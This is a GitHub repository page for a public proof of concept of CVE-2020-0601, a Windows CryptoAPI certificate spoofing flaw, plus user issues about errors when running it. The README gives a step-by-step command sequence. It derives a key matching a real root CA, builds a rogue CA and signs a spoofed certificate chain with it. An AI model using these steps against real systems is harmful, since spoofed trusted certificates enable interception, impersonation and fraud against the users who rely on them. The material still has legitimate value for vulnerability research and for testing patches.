kudelskisecurity / chainoffools

A PoC for CVE-2020-0601

CryptoAPI

CVE-2020-0601: Windows CryptoAPI Spoofing Vulnerability exploitation. More information in our blog post.

Install requirements

pip install -U -r requirements.txt

The certificate generation works with OpenSSL verion up to 1.0.2u.

CA certificate

We used the USERTrust ECC Certification Authority but it can be any root certificate working on P-384 curve.

To generate a private key which match the public key from the root certificate we used the script gen-key.py (works with Python 3.6 and above):

$ ./gen-key.py RootCert.pem 

The key can be displayed with:

$ openssl ec -in p384-key-rogue.pem -text

Then to generate the rogue CA:

$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500

Then we generate the following private key and certificate:

openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr

openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf 

Finally to have the complete chain in a single file we concatenate the CA and the server certificates:

cat client-cert.pem ca-rogue.pem > cert.pem

chainoffools's Issues

format error ?

0x00 Format error ?

test on python2.7.12 and python3.5

>>> privkey = unhexlify(f'{privkey:x}'.encode())
  File "<stdin>", line 1
    privkey = unhexlify(f'{privkey:x}'.encode())
                                     ^
SyntaxError: invalid syntax
>>> 
>>> rogueG = privkey_inv * Q
>>> rogueG = unhexlify(b"04" + f'{rogueG.x:x}'.encode() + f'{rogueG.y:x}'.encode())
  File "<stdin>", line 1
    rogueG = unhexlify(b"04" + f'{rogueG.x:x}'.encode() + f'{rogueG.y:x}'.encode())
                                             ^
SyntaxError: invalid syntax

Windows does not have enough information to verify this certificate

The result certificate from the code is not fully trusted on Windows 10. The root certificate is trusted on the test machine but the generated client certificate is not. The generated certificate does not have enough information to build the trust chain. e.g. AIA or AKI.

Edit: The spoofed CA certificate needs to be included in the chain/bundle.

The certificate issuer not found

Hi Guys, great job done with this PoC, thanks for that.

Followed the steps you mentioned, however I am getting "The issuer of this certificate could not be found."

Used Apache2 on Centos7:
SSLCertificateKeyFile .../prime256v1-privkey.pem
SSLCertificateFile .../client-cert.pem

Could you please give a hint what is wrong with my config?

Thanks in advance.